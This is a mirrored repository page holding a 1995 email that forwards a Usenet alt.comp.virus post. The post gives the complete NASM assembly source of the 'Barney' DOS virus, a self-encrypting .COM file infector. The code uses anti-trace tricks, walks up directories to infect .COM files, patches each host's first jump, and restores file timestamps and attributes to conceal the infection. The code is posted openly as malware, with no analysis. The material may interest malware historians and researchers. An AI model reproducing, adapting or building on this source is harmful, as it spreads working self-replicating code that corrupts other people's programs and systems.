mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-18 17:36:11 +00:00
324 lines
9.2 KiB
NASM
324 lines
9.2 KiB
NASM
From smtp Tue Feb 7 13:16 EST 1995
|
|
Received: from lynx.dac.neu.edu by POBOX.jwu.edu; Tue, 7 Feb 95 13:16 EST
|
|
Received: by lynx.dac.neu.edu (8.6.9/8.6.9)
|
|
id NAA08362 for joshuaw@pobox.jwu.edu; Tue, 7 Feb 1995 13:19:38 -0500
|
|
Date: Tue, 7 Feb 1995 13:19:38 -0500
|
|
From: lynx.dac.neu.edu!ekilby (Eric Kilby)
|
|
Content-Length: 8878
|
|
Content-Type: text
|
|
Message-Id: <199502071819.NAA08362@lynx.dac.neu.edu>
|
|
To: pobox.jwu.edu!joshuaw
|
|
Subject: (fwd) Barney virus
|
|
Newsgroups: alt.comp.virus
|
|
Status: O
|
|
|
|
Path: chaos.dac.neu.edu!usenet.eel.ufl.edu!usenet.cis.ufl.edu!caen!newsxfer.itd.umich.edu!agate!howland.reston.ans.net!news.sprintlink.net!uunet!ankh.iia.org!danishm
|
|
From: danishm@iia.org ()
|
|
Newsgroups: alt.comp.virus
|
|
Subject: Barney virus
|
|
Date: 5 Feb 1995 22:06:47 GMT
|
|
Organization: International Internet Association.
|
|
Lines: 291
|
|
Message-ID: <3h3i5n$v4@ankh.iia.org>
|
|
NNTP-Posting-Host: iia.org
|
|
X-Newsreader: TIN [version 1.2 PL2]
|
|
|
|
Here is the Barney virus:
|
|
|
|
|
|
; Barney virus
|
|
PING equ 0F92Fh
|
|
INFECT equ 1
|
|
|
|
code segment
|
|
org 100h
|
|
assume cs:code,ds:code
|
|
|
|
start:
|
|
db 0E9h,3,0 ; to virus
|
|
host:
|
|
db 0CDh,20h,0 ; host program
|
|
virus_begin:
|
|
|
|
mov dx,VIRUS_SIZE / 2 + 1
|
|
db 0BBh ; decryption module
|
|
code_offset dw offset virus_code
|
|
|
|
decrypt:
|
|
db 02Eh,081h,37h ; XOR CS:[BX]
|
|
cipher dw 0
|
|
inc bx
|
|
inc bx
|
|
dec dx
|
|
jnz decrypt
|
|
|
|
|
|
virus_code:
|
|
call $ + 3 ; BP is instruction ptr.
|
|
pop bp
|
|
sub bp,offset $ - 1
|
|
|
|
push ds es
|
|
|
|
cli
|
|
mov ax,PING ; mild anti-trace code
|
|
push ax
|
|
pop ax
|
|
dec sp
|
|
dec sp
|
|
pop bx
|
|
cmp ax,bx
|
|
je no_trace
|
|
hlt
|
|
|
|
no_trace:
|
|
sti
|
|
in al,21h ; lock out & reopen keyboard
|
|
xor al,2
|
|
out 21h,al
|
|
xor al,2
|
|
out 21h,al
|
|
|
|
lea dx,[bp + offset new_DTA]
|
|
mov ah,1Ah
|
|
int 21h
|
|
|
|
mov byte ptr [bp + infections],0
|
|
|
|
call traverse
|
|
|
|
pop es ds
|
|
mov dx,80h
|
|
mov ah,1Ah
|
|
int 21h
|
|
|
|
com_exit:
|
|
lea si,[bp + host] ; restore host program
|
|
mov di,100h
|
|
push di
|
|
movsw
|
|
movsb
|
|
|
|
call fix_regs ; fix up registers
|
|
ret ; and leave
|
|
|
|
fix_regs:
|
|
xor ax,ax
|
|
cwd
|
|
xor bx,bx
|
|
mov si,100h
|
|
xor di,di
|
|
xor bp,bp
|
|
ret
|
|
|
|
|
|
traverse:
|
|
sub sp,64 ; allocate stack space
|
|
mov si,sp
|
|
inc si
|
|
mov ah,47h ; get current directory
|
|
xor dl,dl
|
|
int 21h
|
|
|
|
dec si
|
|
mov byte ptr ss:[si],'\' ; fix directory
|
|
|
|
next_dir:
|
|
call infect_dir
|
|
|
|
cmp byte ptr [bp + infections],INFECT
|
|
je traverse_done
|
|
|
|
lea dx,[bp + outer] ; repeat in next dir up
|
|
mov ah,3Bh
|
|
int 21h
|
|
jnc next_dir
|
|
|
|
traverse_done:
|
|
add sp,64 ; reset
|
|
mov dx,si
|
|
mov ah,3Bh
|
|
int 21h
|
|
ret
|
|
|
|
infect_dir:
|
|
mov ah,4Eh
|
|
lea dx,[bp + find_me]
|
|
int 21h
|
|
jc infect_done
|
|
|
|
next_file:
|
|
lea dx,[bp + new_DTA + 1Eh]
|
|
call execute
|
|
cmp byte ptr [bp + infections],INFECT
|
|
je infect_done
|
|
mov ah,4Fh
|
|
int 21h
|
|
jnc next_file
|
|
|
|
infect_done:
|
|
ret
|
|
execute:
|
|
push si
|
|
|
|
xor ax,ax ; critical error handler
|
|
mov es,ax ; routine - catch int 24
|
|
lea ax,[bp + int_24]
|
|
mov es:[24h * 4],ax
|
|
mov es:[24h * 4 + 2],cs
|
|
|
|
mov ax,4300h ; change attributes
|
|
int 21h
|
|
|
|
push cx dx ds
|
|
xor cx,cx
|
|
call set_attributes
|
|
|
|
mov ax,3D02h ; open file
|
|
int 21h
|
|
jc cant_open
|
|
xchg bx,ax
|
|
|
|
mov ax,5700h ; save file date/time
|
|
int 21h
|
|
push cx dx
|
|
mov ah,3Fh
|
|
mov cx,28
|
|
lea dx,[bp + read_buffer]
|
|
int 21h
|
|
|
|
cmp word ptr [bp + read_buffer],'ZM'
|
|
je dont_infect ; .EXE, skip
|
|
|
|
mov al,2 ; move to end of file
|
|
call move_file_ptr
|
|
|
|
cmp dx,65279 - (VIRUS_SIZE + 3)
|
|
ja dont_infect ; too big, don't infect
|
|
|
|
sub dx,VIRUS_SIZE + 3 ; check for previous infection
|
|
cmp dx,word ptr [bp + read_buffer + 1]
|
|
je dont_infect
|
|
|
|
add dx,VIRUS_SIZE + 3
|
|
mov word ptr [bp + new_jump + 1],dx
|
|
|
|
add dx,103h
|
|
call encrypt_code ; encrypt virus
|
|
|
|
lea dx,[bp + read_buffer] ; save original program head
|
|
int 21h
|
|
mov ah,40h ; write virus to file
|
|
mov cx,VIRUS_SIZE
|
|
lea dx,[bp + encrypt_buffer]
|
|
int 21h
|
|
|
|
xor al,al ; back to beginning of file
|
|
call move_file_ptr
|
|
|
|
lea dx,[bp + new_jump]
|
|
int 21h
|
|
|
|
fix_date_time:
|
|
pop dx cx
|
|
mov ax,5701h ; restore file date/time
|
|
int 21h
|
|
|
|
inc byte ptr [bp + infections]
|
|
|
|
close:
|
|
pop ds dx cx ; restore attributes
|
|
call set_attributes
|
|
|
|
mov ah,3Eh ; close file
|
|
int 21h
|
|
|
|
cant_open:
|
|
pop si
|
|
ret
|
|
|
|
|
|
set_attributes:
|
|
mov ax,4301h
|
|
int 21h
|
|
ret
|
|
|
|
dont_infect:
|
|
pop cx dx ; can't infect, skip
|
|
jmp close
|
|
|
|
move_file_ptr:
|
|
mov ah,42h ; move file pointer
|
|
cwd
|
|
xor cx,cx
|
|
int 21h
|
|
|
|
mov dx,ax ; set up registers
|
|
mov ah,40h
|
|
mov cx,3
|
|
ret
|
|
|
|
courtesy_of db '[BW]',0
|
|
signature db 'BARNEY (c) by HypoDermic!! Part of the Mayberry Family!!!',0
|
|
|
|
|
|
encrypt_code:
|
|
push ax cx
|
|
|
|
push dx
|
|
xor ah,ah ; get time for random number
|
|
int 1Ah
|
|
|
|
mov [bp + cipher],dx
|
|
pop cx
|
|
add cx,virus_code - virus_begin
|
|
mov [bp + code_offset],cx
|
|
push cs ; ES = CS
|
|
pop es
|
|
|
|
lea si,[bp + virus_begin]
|
|
lea di,[bp + offset encrypt_buffer]
|
|
mov cx,virus_code - virus_begin
|
|
rep movsb
|
|
|
|
mov cx,VIRUS_SIZE / 2 + 1
|
|
encrypt:
|
|
lodsw ; encrypt virus code
|
|
xor ax,dx
|
|
stosw
|
|
loop encrypt
|
|
|
|
pop cx ax
|
|
ret
|
|
|
|
|
|
find_me db '*.COM',0
|
|
outer db '..',0
|
|
|
|
int_24:
|
|
mov al,3 ; int 24 handler
|
|
iret
|
|
new_jump db 0E9h,0,0
|
|
|
|
infections db 0
|
|
virus_end:
|
|
VIRUS_SIZE equ virus_end - virus_begin
|
|
read_buffer db 28 dup (?) ; read buffer
|
|
new_DTA db 128 dup(?)
|
|
encrypt_buffer db VIRUS_SIZE dup (?) ; encryption buffer
|
|
|
|
end_heap:
|
|
|
|
MEM_SIZE equ end_heap - start
|
|
|
|
code ends
|
|
end start
|
|
|
|
|
|
--
|
|
Eric "Mad Dog" Kilby maddog@ccs.neu.edu
|
|
The Great Sporkeus Maximus ekilby@lynx.dac.neu.edu
|
|
Student at the Northeatstern University College of Computer Science
|
|
"I Can't Believe It's Not Butter"
|
|
|